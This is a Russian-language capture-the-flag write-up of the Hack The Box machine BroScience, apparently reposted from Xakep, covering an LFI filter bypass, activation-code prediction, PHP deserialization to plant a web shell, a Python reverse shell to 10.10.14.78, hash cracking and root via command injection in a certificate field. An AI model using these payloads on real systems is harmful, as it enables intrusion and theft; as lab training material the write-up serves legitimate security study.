Хакер -HTB BroScience. Эксплуатируем LFI и ошибку сериализации в коде на PHP

Хакер -HTB BroScience. Эксплуатируем LFI и ошибку сериализации в коде на PHP

hacker_frei

https://t.me/hacker_frei

RalfHacker 

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • LFI
  • Точка опоры
  • Байпас 2FA
  • Deserialization RCE
  • Продвижение
  • Локальное повышение привилегий

В этом рай­тапе я покажу, как обхо­дить филь­тр локаль­ного вклю­чения фай­лов (LFI), затем раз­берем алго­ритм генера­тора кода акти­вации и про­экс­плу­ати­руем уяз­вимость в фун­кции десери­али­зации объ­екта PHP. Получив дос­туп к хос­ту, повысим при­виле­гии через инъ­екцию команд в скрип­те на Bash.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками. 

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.195    broscience.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Наш­ли три откры­тых пор­та: 22 — служ­ба OpenSSH 8.4p1, 80 и 443 — веб‑сер­вер Apache 2.4.54.

По­мимо это­го, мы наш­ли редирект с пор­та 80 на 443, а из поля commonName сер­тифика­та узна­ем реаль­ный домен (его мы и так уже записа­ли в /etc/hosts).

Глав­ная стра­ница сай­та

ТОЧКА ВХОДА

На сай­те ничего инте­рес­ного най­ти не уда­лось, поэто­му прис­тупим к ска­ниро­ванию катало­гов.

Справка: сканирование веба c feroxbuster

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов с целью поис­ка скры­той информа­ции и недос­тупной обыч­ным посети­телям фун­кций. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearchdirb или ffuf. Я пред­почитаю feroxbuster.

При запус­ке исполь­зуем сле­дующие парамет­ры:

  • -u — URL;
  • -w — сло­варь (я исполь­зую сло­вари из набора Seclists);
  • -t — количес­тво потоков;
  • -d — глу­бина ска­ниро­вания.

За­пус­каем feroxbuster

feroxbuster -u https://broscience.htb/ -k -w directory_2.3_medium_lowercase.txt -t 256 -d 2

Ре­зуль­тат ска­ниро­вания катало­гов с помощью feroxbuster

На­ходим мно­го катало­гов, боль­шинс­тво из которых — вто­рого уров­ня. Одна­ко при прос­мотре най­ден­ных стра­ниц опре­деля­ем, что каталог /includes/ не про­индекси­рован, то есть мы можем пос­мотреть все фай­лы, которые в нем находят­ся.

Со­дер­жимое катало­га /includes/

По поряд­ку переби­раем фай­лы в надеж­де рас­крыть еще какую‑нибудь информа­цию. В ответ на зап­рос фай­ла img.php получа­ем сооб­щение о том, что нуж­но задать параметр path.

Со­обще­ние об ошиб­ке

LFI

Так как файл img.php при­нима­ет путь к фай­лу, поищем уяз­вимость про­изволь­ного вклю­чения фай­лов (LFI). Поп­робу­ем обой­ти катало­ги и ука­зать файл /etc/passwd.

https://broscience.htb/includes/img.php?path=../../../../../../../../etc/passwd

Ата­ка обна­руже­на

И получа­ем сооб­щение о том, что нашу ата­ку обна­ружи­ли. Тог­да я решил проб­рутить путь по спис­ку с раз­ными вари­анта­ми обхо­да филь­тров. Сде­лать это мож­но с помощью Burp Intruder.

Burp Intruder — вклад­ка Positions
Ре­зуль­тат перебо­ра

Вы­ясни­ли, что для обхо­да филь­тра дос­таточ­но прос­то дваж­ды закоди­ровать путь в кодиров­ке URL. Про­буем закоди­ровать путь к фай­лу /etc/passwd и про­читать файл.

Со­дер­жимое фай­ла /etc/passwd

В откры­том катало­ге мы видели файл db_connect.php, а теперь мы можем его про­читать.

Со­дер­жимое фай­ла inlcude.db_connect.php

По­луча­ем учет­ные дан­ные для под­клю­чения к базе дан­ных (вклю­чая соль для хеширо­вания). Но авто­ризо­вать­ся с ними не выш­ло. 

ТОЧКА ОПОРЫ

Байпас 2FA

Ре­гис­три­руем­ся на сай­те, но сра­зу узна­ем, что авто­ризо­вать­ся не вый­дет. Это свя­зано с тем, что на ука­зан­ную поч­ту будет отправ­лена ссыл­ка для акти­вации акка­унта.

Со­обще­ние о регис­тра­ции поль­зовате­ля

Бла­года­ря LFI про­чита­ем файл register.php и раз­берем код: воз­можно, там будет зависи­мый от каких‑либо фак­торов генера­тор ссыл­ки.

Ис­ходный код register.php

В стро­ке 34 выпол­няет­ся вклю­чение фай­ла utils.php, затем в стро­ке 35 исполь­зует­ся фун­кция generate_activation_code, которая и генери­рует код. В стро­ке 44 сге­нери­рован­ный код встав­ляет­ся в ссыл­ку для отправ­ления поль­зовате­лю. Из инте­рес­ного отме­тим, что при хеширо­вании пароля поль­зовате­ля исполь­зует­ся соль из фай­ла для под­клю­чения к базе дан­ных (стро­ка 41).

Про­дол­жаем охо­ту за генера­тором кода акти­вации и чита­ем файл includes/utils.php.

Ис­ходный код includes/utils.php

Код акти­вации сос­тоит из 32 слу­чай­ных сим­волов (стро­ка 7), но не сов­сем слу­чай­ных. Дело в том, что псев­дослу­чай­ное зна­чение, которое воз­вра­щает фун­кция rand, все рав­но зависи­мо от сида фун­кции (это зна­чение будет пре­обра­зова­но осо­бым алго­рит­мом в пер­вое слу­чай­ное чис­ло). То есть если мы будем знать ини­циали­затор ран­дома, то смо­жем рас­счи­тать все «слу­чай­ные» сим­волы. В стро­ке 4 в качес­тве сида исполь­зует­ся текущее вре­мя на сер­вере, которое мы можем получить из отве­та сер­вера в Burp History.

От­вет сер­вера

Пов­торя­ем алго­ритм и вмес­то фун­кции time() исполь­зуем получен­ное зна­чение вре­мени.

<?php

$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";

srand(strtotime("Tue, 21 Feb 2023 12:22:20 GMT"));

$activation_code = "";

for ($i = 0; $i < 32; $i++) {

   $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];

}

echo $activation_code;

?>

Сге­нери­рован­ный код

Ис­поль­зуем этот код в ссыл­ке для акти­вации соз­данно­го акка­унта.

Ак­тивация акка­унта

Те­перь спо­кой­но авто­ризу­емся на сай­те.

Deserialization RCE

Смот­рим зап­росы в Burp History и обра­щаем вни­мание на уста­нов­ленные куки user-prefs.

Зап­рос на авто­риза­цию

В исходном коде стра­ницы находим учас­ток кода, где куки фор­миру­ются и уста­нав­лива­ются. Узна­ем, что это сери­али­зован­ный и закоди­рован­ный в Base64 объ­ект.

Ис­ходный код utils.php

За­тем про­исхо­дит десери­али­зация объ­екта, и он никак не про­веря­ется. Зна­чит, мы можем исполь­зовать десери­али­зацию для под­ста­нов­ки дру­гого объ­екта. Так­же находим класс Avatar, у которо­го есть фун­кция записи фай­ла.

Ис­ходный код utils.php

Та­ким обра­зом, мы можем соз­дать объ­ект клас­са AvatarInterface, который получит дан­ные по ука­зан­ному URL и запишет их в локаль­ный файл PHP. Сери­али­зуем его, и это даст нам шелл на сай­те.

<?php

class Avatar {

   public $imgPath;

   public function __construct($imgPath) {

       $this->imgPath = $imgPath;

   }

   public function save($tmp) {

       $f = fopen($this->imgPath, "w");

       fwrite($f, file_get_contents($tmp));

       fclose($f);

   }

}

class AvatarInterface {

   public $tmp = "http://10.10.14.78/sh.txt";

   public $imgPath = "./sh.php";

   public function __wakeup() {

       $a = new Avatar($this->imgPath);

       $a->save($this->tmp);

   }

}

echo base64_encode(serialize(new AvatarInterface));

?>

Соз­дание новых куки

Те­перь на сво­ем веб‑сер­вере в файл sh.txt записы­ваем самый прос­той PHP-шелл.

<?php system($_GET['cmd']); ?>

Встав­ляем соз­данные куки на сайт и отправ­ляем зап­рос.

При­мене­ние нового зна­чения куки

На наш веб‑сер­вер при­дет зап­рос фай­ла sh.txt, а зна­чит, шелл на сай­те соз­дан. Про­веря­ем его: выпол­ним коман­ду id.

Про­вер­ка соз­данно­го PHP-шел­ла

А теперь мы можем получить реверс‑шелл. Обыч­но я исполь­зую код на Python.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.14.78",4321)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); import pty; pty.spawn("sh")'

Сес­сия поль­зовате­ля www-data

ПРОДВИЖЕНИЕ

На хос­те работа­ет и исполь­зует­ся сай­том PostgreSQL. С получен­ными ранее учет­ными дан­ными под­клю­чаем­ся к СУБД и получа­ем все таб­лицы из базы broscience.

psql -h localhost -d broscience -U dbuser

\dt

Таб­лицы в базе broscience

Есть таб­лица users, получа­ем из нее все дан­ные.

select * from users;

Дан­ные в таб­лице users

Сох­раня­ем извле­чен­ные из базы хеши вмес­те с извес­тной нам солью в фор­мате хеш:соль и отправ­ляем на перебор с помощью hashcat.

hashcat -m 20 hash.txt rockyou.txt

Взло­ман­ные пароли

Так мы узна­ем три пароля, и с пер­вым паролем выходит авто­ризо­вать­ся по SSH от име­ни поль­зовате­ля bill.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Те­перь нам необ­ходимо соб­рать информа­цию. Пос­коль­ку вари­антов может быть мно­го, я для это­го исполь­зую скп­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

Заг­рузим на хост скрипт для Linux, дадим пра­во на выпол­нение и запус­тим ска­ниро­вание. В выводе будет мно­го информа­ции. Из инте­рес­ного — какой‑то скрипт renew_cert.sh в катало­ге /opt.

Фай­лы в катало­ге /opt

Скрипт запус­кает­ся такой коман­дой:

/bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt

Это лег­ко опре­делить при помощи pspy64. Перей­дем к ана­лизу самого скрип­та.

Со­дер­жимое фай­ла renew_cert.sh

Скрипт при­нима­ет в качес­тве парамет­ра путь к сер­тифика­ту и про­веря­ет срок его дей­ствия. Если он исте­кает через день, то из сер­тифика­та извле­кают­ся все поля и с эти­ми зна­чени­ями генери­рует­ся новый. Обра­тим вни­мание на коман­ду, которая переме­щает новый сер­тификат. В нее в качес­тве нового име­ни фай­ла прос­то встав­ляет­ся содер­жимое поля Common Name. Таким обра­зом, мы можем выпол­нить инъ­екцию коман­ды, к при­меру прис­воить S-бит фай­лу коман­дной обо­лоч­ки /bin/bash.

Справка: бит SUID

Ког­да у фай­ла уста­нов­лен атри­бут setuid (S-атри­бут), обыч­ный поль­зователь, запус­кающий этот файл, получа­ет повыше­ние прав до поль­зовате­ля — вла­дель­ца фай­ла в рам­ках запущен­ного про­цес­са. Пос­ле получе­ния повышен­ных прав при­ложе­ние может выпол­нять задачи, которые недос­тупны обыч­ному поль­зовате­лю. Из‑за воз­можнос­ти сос­тояния гон­ки мно­гие опе­раци­онные сис­темы игно­риру­ют S-атри­бут, уста­нов­ленный shell-скрип­там.

Ге­нери­руем новый сер­тификат и при зап­росе Common Name ука­зыва­ем коман­ду $(chmod +s /bin/bash)

openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout broscience.key -out ./Certs/broscience.crt -days 1

Ге­нери­рова­ние сер­тифика­та

Пе­риоди­чес­ки про­веря­ем пра­ва на файл /bin/bash и замеча­ем появив­ший­ся S-бит.

Пра­ва на файл /bin/bash

Те­перь мож­но получить при­виле­гиро­ван­ный кон­текст.

/bin/bash -p

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page